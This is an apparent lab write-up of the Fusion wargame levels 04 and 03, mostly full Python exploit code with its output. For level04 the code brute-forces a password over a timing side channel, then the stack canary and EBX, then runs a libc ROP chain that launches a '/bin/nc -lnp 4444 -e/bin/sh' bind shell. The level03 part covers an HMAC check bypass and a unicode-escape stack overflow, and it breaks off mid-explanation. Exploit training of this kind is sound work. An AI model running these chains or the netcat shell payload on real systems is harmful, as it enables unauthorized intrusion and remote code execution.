exploit

Fusion level04 write-up

In this level we have to bypass a bunch of protections:

The stack based vulnerability is easy to find. It is in the base64_decode() function. It takes the output buffer length as an argument, but the it overwrites it with a new value based on the input buffer length. So we are going to be able to control how many bytes we want to write in the output buffer:

*output_length = input_length / 4 * 3;

Now in order to send a valid request we need to provide a password the server generates when it loads but then it reuses for every connection. There is a covert channel leaking how many characters we sent were wrong and we can take advantage of this to get the password. The following script will choose a character based on the response time till it finds the 16 character long password:

#!/usr/bin/python

from socket import *  
from struct import *  
import base64  
import time  
import string


def try_password(password):  
        credentials = base64.b64encode("stack6:{0}".format(password))
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(("localhost", 20004))
        request = "GET / HTTP/1.0\r\n"
        request += "Authorization: Basic {0}\r\n".format(credentials)
        request += "\n"
        begin = time.time()
        s.send(request)
        response = s.recv(1024)
        end = time.time()
        s.close()
        return (end-begin, response)

def bruteforce():  
        password = ""
        count = 3
        i = 0
        while i<16:
                candidate = ""
                others = 10000000
                response = ""
                for char in string.ascii_letters+string.digits:
                        (time, response) = try_password(password + char)
                        #print("trying {0}, reponse in {1}".format(char, time))
                        if "Unauthorized" not in response:
                                print("Eureka " + password + char)
                                return password + char
                        else:
                                if time < others:
                                        candidate = char
                                        others = time
                password += candidate
                print(password)
                i += 1
passwd = bruteforce()  

If we run it we will get the passord:

[email protected]:~$ python fusion04.py  
B  
B0  
B0f  
B0fN  
B0fNG  
B0fNGX  
B0fNGXy  
B0fNGXyn  
B0fNGXynX  
B0fNGXynX8  
B0fNGXynX8i  
B0fNGXynX8io  
B0fNGXynX8io6  
B0fNGXynX8io6G  
B0fNGXynX8io6GN  
Eureka B0fNGXynX8io6GNO  

Ok, now we need to smash the stack but there is a canary (SSP) guarding it so we need a way to find out the right canary.

When a server program calls "fork()" to handle a client request but it does not call "execve()" the address space for the child processes will be exactly the same as its parents so the same "canary" value will be reused for every client request.

Fortunately for us, the application will let us know when the canary is wrong or right. Lets just overflow the canary and EIP to verify it:

credentials = base64.b64encode("stack6:{0}".format(passwd))  
s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20004))  
request = "GET / HTTP/1.0\r\n"  
request += "Authorization: Basic {0}\r\n".format(credentials + "A"*4096 + "DDDD" + "CCCC")  
request += "\n"  
s.send(request)  
response = s.recv(1024)  
print(response)  
s.close()  

And the application kindly let us know that the canary was wrong:

[email protected]:~$ python fusion04.py  
Eureka B0fNGXynX8io6GNO  
HTTP/1.0 200 Ok

*** stack smashing detected ***: /opt/fusion/bin/level04 terminated

So we can brute force the canary but first we need to find the canary and EIP offsets:

canary_offset = 2500  
while True:  
        credentials = base64.b64encode("stack6:{0}".format(passwd))
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(("localhost", 20004))
        request = "GET / HTTP/1.0\r\n"
        request += "Authorization: Basic {0}\r\n".format(credentials + "A"*canary_offset )
        request += "\n"
        s.send(request)
        response = s.recv(1024)
        s.close()
        if "smashing" in response:
                print("[+] Server response " + response)
                print("[+] Canary offset: " + str(canary_offset))
                break
        canary_offset += 1

We find that the canary offset is 2704:

[email protected]:~$ python fusion04.py  
[+] Brute forcing password ...
[+] Eureka B0fNGXynX8io6GNO
[+] Searching Canary offset ...
[+] Server response *** stack smashing detected ***: /opt/fusion/bin/level04 terminated
[+] Canary offset: 2704

Ok, now we will overwrite the canary one byte at a time until we dont get the "stack smashing detected" message:

canary_offset = 2500  
while True:  
        credentials = base64.b64encode("stack6:{0}".format(passwd))
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(("localhost", 20004))
        request = "GET / HTTP/1.0\r\n"
        request += "Authorization: Basic {0}\r\n".format(credentials + "A"*canary_offset )
        request += "\n"
        s.send(request)
        response = s.recv(1024)
        s.close()
        if "smashing" in response:
                print("[+] Server response " + response)
                print("[+] Canary offset: " + str(canary_offset))
                break
        canary_offset += 1

We find that the canary offset is 2704:

print("[+] Bruteforcing Canary ...")  
canary = ""  
for byte in xrange(4):  
        for canary_byte in xrange(256):
                hex_byte = chr(canary_byte)
                #print("[+] Trying: {0}{1}".format(canary.encode("hex"), hex_byte.encode("hex")))
                credentials = base64.b64encode("stack6:{0}".format(passwd + "A"*canary_offset + canary + hex_byte))
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(("localhost", 20004))
                request = "GET / HTTP/1.0\r\n"
                request += "Authorization: Basic {0}\r\n".format(credentials)
                request += "\n"
                s.send(request)
                response = s.recv(1024)
                s.close()
                if "smashing" not in response:
                        canary += hex_byte
                        print("[+] Found canary byte: " + hex(canary_byte))
                        break
print("[+] Canary found: " + canary.encode("hex"))  

Now that we know the SSP canary, we need to know the EIP offset that turns out to be 28 from the canary:

passwd + "A"*canary_offset + canary + "B"*28 + "DDDD"  

In gdb:

(gdb) c
Continuing.  
[New process 21459]

Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 21459]
0x44444444 in ?? ()  

Also in PIE binaries, the compiler compile the binary as a Position Independent Code (PIC) meaning that it can be run in any memory position. In order to do that, the code needs to remember the offset where the binary has been loaded. Compiler will use ebx for this. It will contain the binary load base plus an unknow offset: ebx = load base + offset

The compiler will pop ebx in the function epilogue to pass it to following calls. So if we overwrite the stack dword where ebx is popped from, we will confuse the binary and the result will be unpredictable since it wont be able to find the binary load base.

Function epilogue in PIE binaries:

(gdb) disas validate_credentials
...
0xb785f2b5 <+357>:    pop    %ebx  
0xb785f2b6 <+358>:    pop    %esi  
0xb785f2b7 <+359>:    pop    %edi  
0xb785f2b8 <+360>:    pop    %ebp  
0xb785f2b9 <+361>:    ret  
...

We need to preserve ebx so we need to find out its value and we will use the same brute forcing approach but first we need to know the offset of the value that we will pop into ebx in our payload.

passwd + "A"*canary_offset + canary + "B"*12 + "CCCC" + "B"*12 + "DDDD"  

In gdb:

(gdb) c
Continuing.  
[New process 22843]

Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 22843]
0x44444444 in ?? ()  
(gdb) i r ebx
ebx            0x43434343    1128481603  

Ok now we can bruteforce ebx with the following script:

print("[+] Bruteforcing EBX ...")  
ebx = ""  
for byte in xrange(4):  
        for ebx_byte in xrange(256):
                hex_byte = chr(ebx_byte)
                #print("[+] Trying: {0}{1}".format(ebx.encode("hex"), hex_byte.encode("hex")))
                credentials = base64.b64encode("stack6:{0}".format(passwd + "A"*canary_offset + canary + "B"*12 + ebx + hex_byte))
                try:
                        s = socket(AF_INET, SOCK_STREAM)
                        s.connect(("localhost", 20004))
                        request = "GET / HTTP/1.0\r\n"
                        request += "Authorization: Basic {0}\r\n".format(credentials)
                        request += "\n"
                        s.send(request)
                        response = s.recv(1024)
                        s.close()
                        if "200" in response:
                                ebx += hex_byte
                                print("[+] Found EBX byte: " + hex(ebx_byte))
                                break
                except:
                        pass
print("[+] EBX found: " + ebx.encode("hex"))  

Script output:

[email protected]:~$ python fusion04.py  
[+] Bruteforcing password ...
[+] Eureka W5AbnpNbWfM1586i
[+] Validating password ...
[+] Server response HTTP/1.0 200 Ok
[+] Searching Canary offset. Starting with 2000 ...
[+] Server response *** stack smashing detected ***: /opt/fusion/bin/level04 terminated
[+] Canary offset: 2026
[+] Bruteforcing Canary ...
[+] Found canary byte: 0x0
[+] Found canary byte: 0xce
[+] Found canary byte: 0x76
[+] Found canary byte: 0x13
[+] Canary found: 00ce7613
[+] Bruteforcing EBX ...
[+] Found EBX byte: 0x18
[+] Found EBX byte: 0x11
[+] Found EBX byte: 0x86
[+] Found EBX byte: 0xb7
[+] EBX found: 181186b7

Now that we know ebx we need to find out the binary load base. We said that ebx = base + offset. Lets use gdb to fid out the value of this offset:

(gdb) info proc stat
...
Start of text: 0xb785d000  
End of text: 0xb7860ad0  
Start of stack: 0xbfca0dd0  

offset = ebx - 0xb785d000

In our previous run ebx was 0xb7861118 so offset is 0x4118:

(gdb) i r $ebx
ebx            0xb7861118  
(gdb) p /x $ebx-0x4118
$1 = 0xb785d000

Now kill the server and restart it so that we can run the exploit again and verify that our leaked ebx - 0x4118 points to .text:

(gdb) i r $ebx
ebx            0xb77a9118  
(gdb) p /x $ebx-0x4118
$2 = 0xb77a5000
(gdb) info proc stat
...
...
Start of text: 0xb77a5000  
End of text: 0xb77a8ad0  
Start of stack: 0xbfecd200  

Nice! We now know the offset where the binary is loaded so we need to weaponize our exploit

My first idea was to use the same technique used in level03: modify GOT entry and then use ret2plt. The problem is that there are no enough gadgets in the binary to modify the GOT reference. Actually, the number of gadgets in our binary is a little depressing :(

ROPeMe> generate /opt/fusion/bin/level04  
Generating gadgets for /opt/fusion/bin/level04 with backward depth=3  
It may take few minutes depends on the depth and file size...  
Processing code block 1/1  
Generated 86 gadgets  

Next idea is to use gadgets from libc but since the server is using ASLR, we need to somehow leak the libc base address with the help of our recently leaked binary load address or brute force it. I will be using the later as I did for level02

Note: For the brute force, leaking the binary load address was not required but I tried not to use libc :(

Ok, the whole exploit reusing the ROP chain built for level02 looks like:

#!/usr/bin/python

from socket import *  
from struct import *  
import base64  
import time  
import string

def try_password(password):  
    credentials = base64.b64encode("stack6:{0}".format(password))
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("localhost", 20004))
    request = "GET / HTTP/1.0\r\n"
    request += "Authorization: Basic {0}\r\n".format(credentials)
    request += "\n"
    begin = time.time()
    s.send(request)
    response = s.recv(1024)
    end = time.time()
    s.close()
    return (end-begin, response)

def bruteforce():  
    password = ""
    count = 3
    i = 0
    while i<16:
        candidate = ""
        others = 10000000
        response = ""
        for char in string.ascii_letters+string.digits:
            (time, response) = try_password(password + char)
            #print("trying {0}, reponse in {1}".format(char, time))
            if "Unauthorized" not in response:
                print("[+] Eureka " + password + char)
                return password + char
            else:
                if time < others:
                    candidate = char
                    others = time
        password += candidate
        #print(password)
        i += 1

print("[+] Bruteforcing password ...")  
passwd = bruteforce()

print("[+] Validating password ...")  
credentials = base64.b64encode("stack6:{0}".format(passwd))  
s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20004))  
request = "GET / HTTP/1.0\r\n"  
request += "Authorization: Basic {0}\r\n".format(credentials)  
request += "\n"  
s.send(request)  
response = s.recv(1024)  
print("[+] Server response " + response.replace("\n",""))  
s.close()

canary_offset = 2000  
print("[+] Searching Canary offset. Starting with {0} ...".format(canary_offset))  
while True:  
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("localhost", 20004))
    credentials = base64.b64encode("stack6:{0}".format(passwd + "A"*canary_offset))
    request = "GET / HTTP/1.0\r\n"
    request += "Authorization: Basic {0}\r\n".format(credentials)
    request += "\n"
    s.send(request)
    response = s.recv(1024)
    s.close()
    if "smashing" in response:
        print("[+] Server response " + response.replace("\n", ""))
        print("[+] Canary offset: " + str(canary_offset))
        canary_offset -= 1
        break
    canary_offset += 1

print("[+] Bruteforcing Canary ...")  
canary = ""  
for byte in xrange(4):  
    for canary_byte in xrange(256):
        hex_byte = chr(canary_byte)
        #print("[+] Trying: {0}{1}".format(canary.encode("hex"), hex_byte.encode("hex")))
        credentials = base64.b64encode("stack6:{0}".format(passwd + "A"*canary_offset + canary + hex_byte))
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(("localhost", 20004))
        request = "GET / HTTP/1.0\r\n"
        request += "Authorization: Basic {0}\r\n".format(credentials)
        request += "\n"
        s.send(request)
        response = s.recv(1024)
        s.close()
        if "smashing" not in response:
            canary += hex_byte
            print("[+] Found canary byte: " + hex(canary_byte))
            break
print("[+] Canary found: " + canary.encode("hex"))

print("[+] Bruteforcing EBX ...")  
ebx = ""  
for byte in xrange(4):  
    for ebx_byte in xrange(256):
        hex_byte = chr(ebx_byte)
        #print("[+] Trying: {0}{1}".format(ebx.encode("hex"), hex_byte.encode("hex")))
        credentials = base64.b64encode("stack6:{0}".format(passwd + "A"*canary_offset + canary + "B"*12 + ebx + hex_byte))
        try:
            s = socket(AF_INET, SOCK_STREAM)
            s.connect(("localhost", 20004))
            request = "GET / HTTP/1.0\r\n"
            request += "Authorization: Basic {0}\r\n".format(credentials)
            request += "\n"
            s.send(request)
            response = s.recv(1024)
            s.close()
            if "200" in response:
                ebx += hex_byte
                print("[+] Found EBX byte: " + hex(ebx_byte))
                break
        except:
            pass
print("[+] EBX found: " + ebx.encode("hex"))  
base = unpack("<I", ebx)[0] - 0x4118  
print("[+] Binary loaded at address: {0}".format(hex(base)))


print("[+] Bruteforcing libc base address")  
for off in range(0xb7000000, 0xb8000000, 0x1000):  
        p = ''
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789c0) # @ .data
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "////" # /usr
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789c4) # @ .data + 4
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "/bin" # /bin
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789c8) # @ .data + 8
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "////" # /net
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789cc) # @ .data + 12
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "/ncA" # catA
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789cf) # @ .data + 15
        p += "AAAA" # padding
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789d0) # @ .data + 16
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "-lnp" # -lnp
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789d4) # @ .data + 20
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "4444" # 4444
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789d8) # @ .data + 24
        p += "AAAA" # padding
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789d9) # @ .data + 25
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "-e/b" # -e/b
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789dd) # @ .data + 29
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "in/s" # in/s
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e1) # @ .data + 33
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += "hAAA" # hAAA
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e2) # @ .data + 34
        p += "AAAA" # padding
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e3) # @ .data + 35
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += pack("<I", off + 0x001789c0) # @ .data
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e7) # @ .data + 39
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += pack("<I", off + 0x001789d0) # @ .data + 16
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789eb) # @ .data + 43
        p += "AAAA" # padding
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += pack("<I", off + 0x001789d9) # @ .data + 25
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789ef) # @ .data + 47
        p += "AAAA" # padding
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        p += pack("<I", off + 0x00018f4e) # pop ebx ; ret
        p += pack("<I", off + 0x001789c0) # @ .data
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e3) # @ .data + 35
        p += "AAAA" # padding
        p += pack("<I", off + 0x00001a9e) # pop edx ; ret
        p += pack("<I", off + 0x001789ef) # @ .data + 47
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x0002dd35) # int 0x80
    credentials = base64.b64encode("stack6:{0}".format(passwd + "A"*canary_offset + canary + "B"*12 + ebx + "E"*12 + p))
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("localhost", 20004))
    request = "GET / HTTP/1.0\r\n"
    request += "Authorization: Basic {0}\r\n".format(credentials)
    request += "\n"
    s.send(request)
    s.close()

raw_input("[+] Attach GDB to server process and Press Enter to continue...")  
credentials = base64.b64encode("stack6:{0}".format(passwd + "A"*canary_offset + canary + "B"*12 + ebx + "E"*12 + "DDDD"))  
s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20004))  
request = "GET / HTTP/1.0\r\n"  
request += "Authorization: Basic {0}\r\n".format(credentials)  
request += "\n"  
s.send(request)  
response = s.recv(1024)  
s.close()  

Now, lets try it:

[email protected]:~$ python fusion04.py  
[+] Bruteforcing password ...
[+] Eureka 4D4fqSa0fM477TS5
[+] Validating password ...
[+] Server response HTTP/1.0 200 Ok
[+] Searching Canary offset. Starting with 2000 ...
[+] Server response *** stack smashing detected ***: /opt/fusion/bin/level04 terminated
[+] Canary offset: 2026
[+] Bruteforcing Canary ...
[+] Found canary byte: 0x0
[+] Found canary byte: 0x52
[+] Found canary byte: 0xb9
[+] Found canary byte: 0x57
[+] Canary found: 0052b957
[+] Bruteforcing EBX ...
[+] Found EBX byte: 0x18
[+] Found EBX byte: 0xa1
[+] Found EBX byte: 0x78
[+] Found EBX byte: 0xb7
[+] EBX found: 18a178b7
[+] Binary loaded at address: 0xb7786000L
[+] Bruteforcing libc base address

After a couple of minutes the shell will be waiting for us:

[email protected]:~$ sudo netstat -natp | grep LISTEN  
tcp        0      0 0.0.0.0:20002           0.0.0.0:*               LISTEN      1017/level02  
tcp        0      0 0.0.0.0:20003           0.0.0.0:*               LISTEN      1005/level03  
tcp        0      0 0.0.0.0:20004           0.0.0.0:*               LISTEN      29795/level04  
tcp        0      0 0.0.0.0:20005           0.0.0.0:*               LISTEN      963/level05  
tcp        0      0 0.0.0.0:20006           0.0.0.0:*               LISTEN      870/level06  
tcp        0      0 0.0.0.0:20008           0.0.0.0:*               LISTEN      837/level08  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      691/sshd  
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      788/nc  
tcp        0      0 0.0.0.0:20000           0.0.0.0:*               LISTEN      1047/level00  
tcp        0      0 0.0.0.0:20001           0.0.0.0:*               LISTEN      1031/level01  
tcp6       0      0 :::22                   :::*                    LISTEN      691/sshd  
[email protected]:~$ nc localhost 4444  
id  
uid=20004 gid=20004 groups=20004  

Thanks for reading!

Fusion level03 write-up

Fusion level03

In this level we have to bypass ASLR and NX again:

Before going into the stack overflow details, lets get a valid request to the server. When we connect to the server we are presented with a token that is later used to calculate the MAC code of our request.

HMAC(EVP_sha1(), token, strlen(token), gRequest, gRequestSize, result, &len);  

The application is calculating the MAC of whatever is stored in "gRequest" (token+JSON request) using SHA1 as the hashing algorithm, "token" as the encryption key and store the MAC in the memory pointed by "result". Then the application goes into the validation bits:

invalid = result[0] | result[1]; // Not too bad :>  
  if(invalid)
    errx(EXIT_FAILURE, "Checksum failed! (got %02x%02x%02x%02x...)",
    result[0], result[1], result[2], result[3]);
    // XXX won't be seen by user.

This means that its only checking the first 2 bytes and if they both are 0, then we will bypass the check.

We can calculate the MAC of our token+request using the provided token but we have no way to be sure that the first bytes are going to be 0'sure so what we need to do is to modify the "token+request" with unused data like a new JSON property so that we make sure that the hash is going to start with two NULL bytes before sending it. My brute force script:

#!/usr/bin/python

from socket import *  
from struct import *  
import json  
from hashlib import sha1  
import hmac

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20003))  
print("[+] Getting token")  
token = s.recv(1024)  
token = token.strip().strip('"')  
print("[+] Token: " + token)

test_request = '{ "title": "test", "contents": "test", "tags": ["test1", "test2"], "serverip": "127.0.0.1" }'  
print("[+] Test request: " + test_request)  
mac = hmac.new(token, token + "\n" + test_request, sha1).digest()  
print("[+] Test request MAC: " + mac.encode('hex'))  
print("[+] Modifying hash till it starts with 0000")

i = 0  
new_request = ""  
while True:  
        new_request = test_request[0:-1] + ', "padding": "' + str(i) + '"}'
        hexmac = hmac.new(token, token + "\n" + new_request, sha1).digest().encode("hex")
        if "0000" in hexmac[0:4]:
                break
        i += 1
print("[+] New request: " + new_request)  
print("[+] New MAC: " + hmac.new(token, token + "\n" + new_request, sha1).digest().encode("hex"))  
print("[+] Sending test request to server")  
s.send(token + "\n" + new_request)  
s.close()  

Lets try it with a breakpoint in the server "parserequest" function so we make sure that we passed the "validaterequest" one:

[email protected]:~$ python fusion03.py  
[+] Getting token
[+] Token: // 127.0.0.1:36045-1388424557-265314943-2048946095-391959879
[+] Test request: { "title": "test", "contents": "test", "tags": ["test1", "test2"], "serverip": "127.0.0.1" }
[+] Test request MAC: 28e7cc4060bec9616ebcb0858a458144c3ccab3a
[+] Modifying hash till it starts with 0000
[+] New request: { "title": "test", "contents": "test", "tags": ["test1", "test2"], "serverip": "127.0.0.1" , "padding": "24133"}
[+] New MAC: 00008eb54a03fc3d286027bf54a6541c130dad36
[+] Sending test request to server

And we hit the breakpoint!

(gdb) c
Continuing.

Breakpoint 1, parse_request () at level03/level03.c:86  
86    in level03/level03.c  

Now for the stack overflow. In the decode_string function there is a check to make sure that we dont copy beyond the "title" limits. However, when dealing with unicode characters, the "dest" pointer is incremented twice meaning that if we were exactly 1 byte below the buffer limit, after processing the unicode character, "dest" will be pointing one byte above the limit and thus failing the check: "while(*src && dest != end)" so it will continue processing characters from the source buffer into the destination buffer until there are no more bytes to process in the source buffer.

We can abuse this by sending a title that is 127 bytes long and then "\uXXXX" in order to be able to overwrite the destination buffer. After that we can send as many bytes as we want. Lets check it and see what is the required offset to overwrite the return address:

test_request = '{ "title": "' + "A"*127 + "\\\\u4141" + "A"*31 + "DDDD" +'", "contents": "test", "tags": ["test1", "test2"], "serverip": "127.0.0.1" }'  

And in gdb we will get:

(gdb) c
Continuing.  
[New process 14931]

Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 14931]
0x44444444 in ?? ()  

Time to weaponize the exploit. Since we are already bruteforcing the hash collision, brute forcing the libc base address was going to be too much. So in this level we will try to use whatever is available in the binary.

GOT functions:

[email protected]:~$ objdump -R /opt/fusion/bin/level03

/opt/fusion/bin/level03:     file format elf32-i386

DYNAMIC RELOCATION RECORDS  
OFFSET   TYPE              VALUE  
0804bcc0 R_386_GLOB_DAT    __gmon_start__  
0804bdc0 R_386_COPY        stderr  
0804bdc4 R_386_COPY        stdin  
0804bde0 R_386_COPY        stdout  
0804bcd0 R_386_JUMP_SLOT   __errno_location  
0804bcd4 R_386_JUMP_SLOT   srand  
0804bcd8 R_386_JUMP_SLOT   open  
0804bcdc R_386_JUMP_SLOT   connect  
0804bce0 R_386_JUMP_SLOT   setgroups  
0804bce4 R_386_JUMP_SLOT   getpid  
0804bce8 R_386_JUMP_SLOT   strerror  
0804bcec R_386_JUMP_SLOT   daemon  
0804bcf0 R_386_JUMP_SLOT   inet_ntoa  
0804bcf4 R_386_JUMP_SLOT   json_object_array_length  
0804bcf8 R_386_JUMP_SLOT   err  
0804bcfc R_386_JUMP_SLOT   __fprintf_chk  
0804bd00 R_386_JUMP_SLOT   signal  
0804bd04 R_386_JUMP_SLOT   __gmon_start__  
0804bd08 R_386_JUMP_SLOT   realloc  
0804bd0c R_386_JUMP_SLOT   __printf_chk  
0804bd10 R_386_JUMP_SLOT   strchr  
0804bd14 R_386_JUMP_SLOT   calloc  
0804bd18 R_386_JUMP_SLOT   inet_addr  
0804bd1c R_386_JUMP_SLOT   write  
0804bd20 R_386_JUMP_SLOT   HMAC  
0804bd24 R_386_JUMP_SLOT   listen  
0804bd28 R_386_JUMP_SLOT   json_object_array_get_idx  
0804bd2c R_386_JUMP_SLOT   __libc_start_main  
0804bd30 R_386_JUMP_SLOT   wait  
0804bd34 R_386_JUMP_SLOT   json_object_get_string  
0804bd38 R_386_JUMP_SLOT   read  
0804bd3c R_386_JUMP_SLOT   strtol  
0804bd40 R_386_JUMP_SLOT   setresuid  
0804bd44 R_386_JUMP_SLOT   __asprintf_chk  
0804bd48 R_386_JUMP_SLOT   setresgid  
0804bd4c R_386_JUMP_SLOT   json_object_get_object  
0804bd50 R_386_JUMP_SLOT   fflush  
0804bd54 R_386_JUMP_SLOT   accept  
0804bd58 R_386_JUMP_SLOT   json_tokener_parse  
0804bd5c R_386_JUMP_SLOT   socket  
0804bd60 R_386_JUMP_SLOT   dup2  
0804bd64 R_386_JUMP_SLOT   memcpy  
0804bd68 R_386_JUMP_SLOT   strlen  
0804bd6c R_386_JUMP_SLOT   getppid  
0804bd70 R_386_JUMP_SLOT   EVP_sha1  
0804bd74 R_386_JUMP_SLOT   bind  
0804bd78 R_386_JUMP_SLOT   errx  
0804bd7c R_386_JUMP_SLOT   close  
0804bd80 R_386_JUMP_SLOT   time  
0804bd84 R_386_JUMP_SLOT   setvbuf  
0804bd88 R_386_JUMP_SLOT   malloc  
0804bd8c R_386_JUMP_SLOT   setrlimit  
0804bd90 R_386_JUMP_SLOT   fork  
0804bd94 R_386_JUMP_SLOT   setsockopt  
0804bd98 R_386_JUMP_SLOT   rand  
0804bd9c R_386_JUMP_SLOT   __sprintf_chk  
0804bda0 R_386_JUMP_SLOT   strncmp  
0804bda4 R_386_JUMP_SLOT   __snprintf_chk  
0804bda8 R_386_JUMP_SLOT   getpeername  
0804bdac R_386_JUMP_SLOT   exit  

We dont have any "system" or "execve" like in previous level and since we dont have an "int 0×80" or "call [gs:0x10]" to make syscalls:

We will need to modify the GOT table and make any random function point the "system()" function in libc. We will benefit from the fact that for the same OS, same libc and same compilation options, the offset between libc functions should be constant.

ROPeMe> search int %  
Searching for ROP gadget:  int % with constraints: []  
0x804942bL: int 3 ; mov ebx 0xd0ff0804 ; leave ;;

ROPeMe> search call %  
Searching for ROP gadget:  call % with constraints: []  
0x804942fL: call eax ; leave ;;  

In this case I will overwrite the "srand()" function reference that is the closest to "system()":

(gdb) p system
$8 = {<text variable, no debug info>} 0xb754fb20 <__libc_system>
(gdb) p srand
$10 = {<text variable, no debug info>} 0xb7545fc0 <__srandom>

0xb754fb20 - 0xb7545fc0 = 0x9b60

So we will need to increment srand GOT's entry in 0x9b60

We will need an "add [reg1] reg2" gadget for that:

